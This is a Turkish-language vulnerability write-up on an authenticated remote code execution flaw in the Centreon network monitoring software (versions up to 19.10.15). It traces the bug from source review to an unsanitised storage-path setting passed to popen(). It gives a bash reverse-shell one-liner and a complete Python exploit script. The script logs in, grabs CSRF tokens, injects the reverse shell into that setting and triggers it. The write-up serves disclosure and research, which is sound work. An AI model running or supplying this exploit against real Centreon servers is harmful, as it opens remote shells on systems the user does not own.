Merhaba, Centreon adında açık kaynaklı bir ağ yönetim yazılımında Hasan Ekin'in katkılarıyla keşfettiğim Authenticated RCE zafiyetinin detaylı bulumunu anlatıyor olacağım. Bir önceki yazıda olduğu gibi türkçeye kaynak kazandırmak adına makaleyi türkçe kaleme aldım.
AUTHENTICAD RCE
Authenticated, zafiyetinin tetiklemesi için geçerli bir kullanıcı gerekli olduğunu belirtir. RCE ise uygulama üzerinden uygulamanın çalıştığı sunucuda sistem kodları çalıştırabilmemize olanak sağlayan zafiyet türüdür.
Centreon
- Uygulama indirme linki: Centreon Downloads
- Zafiyeti tespit edildiği sürüm: <= 19.10.15
- Zafiyet giderildi ve Centron tarafından özel teşekkür alındı: https://github.com/centreon/centreon/pull/8467
BÖLÜM 1: Uygulama Eldesi
Kaynak kod analizini keyfi istekler doğrultusunda yapmamızdan ötürü bu uygulamanın adını Exploit-DB üzerinde gezinirken gördüm. Tespit ettiğimiz zafiyet harici rce zafiyetleride bulunuyordu. Kurulum manuel yapılabileceği gibi yayıncı tarafından hazır OVA ve OVF dosyaları Downloads sayfasına koyulmuş. OVF dosyasını indirip VmwareFUSION ile sanal makineyi ayaklandırdık.
Bölüm 2: Kaynak Kod Eldesi
Sanal makine üzerinde gezinirken uygulamaya ait dosyaların /usr/share/centron dizininde olduğunu saptadık.
Kodları daha uygun bir ortadamda IDE üzerinden incelemek için dizini TAR ile sıkıştırdım ve SCP kullanarak ana makineye aktardık.
tar -czvf Centreon.tar.gz /usr/share/centron/
scp root@CentreonIP:/usr/share/centron/Centreon.tar.gz /tmp/Centreon.tar.gz
Bölüm 3: Kaynak Kodun İncelenmesi
Dosyaları kendi tercih ettiğim ATOM idesini kullanarak kurcalamaya başladık.
Diğer makalelerimde de olduğu gibi kodlar arasında aşağıda belirttiğim sistem fonksiyonlarını aramaya başladık:
system, exec, shell_exec, popen, eval, passthru
Boşa geçirilen epey bir saatin sonunda /www/include/views/graphs/graphStatus/displayServiceStatus.php dosyasının 302. satırında zafiyetli olabilecek bir noktayı saptadık.
Sistem fonksiyonu olarak popen() fonksiyonu kullanılıyor ve $command_line isminde henüz nereden geldiği belli olmayan bir değişkeni parametre olarak alıyordu. Dosya üzerinde biraz daha gezinince $command_line değişkeninin aynı dosyanın data üst satırlarında veritabanından gelen verilerle oluşturulduğunu gördüm.
116. satırda bulunan $RRDdatabase_path değişkeni.
Bölüm 4: Payload Hazırlanması
Girdinin önüne ve sonuna eklenen değerlerden kurtulmak için payload taslağımız ; PAYLOAD ; şeklinde olacak.
Reverse shell payload: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
BÖLÜM 5: EXPLOIT
Exploit-DB: Exploit
#!/usr/bin/python
import requests
import sys
import warnings
from bs4 import BeautifulSoup
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) < 6:
print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
req = requests.session()
print("[+] Retrieving CSRF token...")
loginPage = req.get(url+"/index.php")
response = loginPage.text
s = BeautifulSoup(response, 'html.parser')
Centreon_token = s.findAll('input')[3].get("value")
login_creds = {
"useralias": username,
"password": password,
"submitLogin": "Connect",
"Centreon_token": Centreon_token
}
print("[+] Sendin login request...")
login = req.post(url+"/index.php", login_creds)
if "incorrect" not in login.text:
print("[+] Logged In, retrieving second token")
page = url + "/main.get.php?p=50118"
second_token_req = req.get(page)
response = second_token_req.text
s = BeautifulSoup(response, 'html.parser')
second_token = s.find('input', {'name':'Centreon_token'})['value']
payload = {
"RRDdatabase_path": "/var/lib/Centreon/metrics/",
"RRDdatabase_status_path": ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(ip, port),
"RRDdatabase_nagios_stats_path": "/var/lib/Centreon/nagios-perf/",
"reporting_retention": "365",
"archive_retention": "31",
"len_storage_mysql": "365",
"len_storage_rrd": "180",
"len_storage_downtimes": "0",
"len_storage_comments": "0",
"partitioning_retention": "365",
"partitioning_retention_forward": "10",
"cpartitioning_backup_directory": "/var/cache/Centreon/backup",
"audit_log_option": "1",
"audit_log_retention": "0",
"submitC": "Save",
"gopt_id": "",
"o": "storage",
"o": "storage",
"Centreon_token": second_token,
}
print("[+] Sendin payload...")
send_payload = req.post(page, payload)
trigger_url= url + "/include/views/graphs/graphStatus/displayServiceStatus.php"
print("[+] Triggerring payload...")
trigger = req.get(trigger_url)
print("[+] Check your listener !...")
else:
print("[-] Wrong credentials or may the system patched.")
exit()
Go Top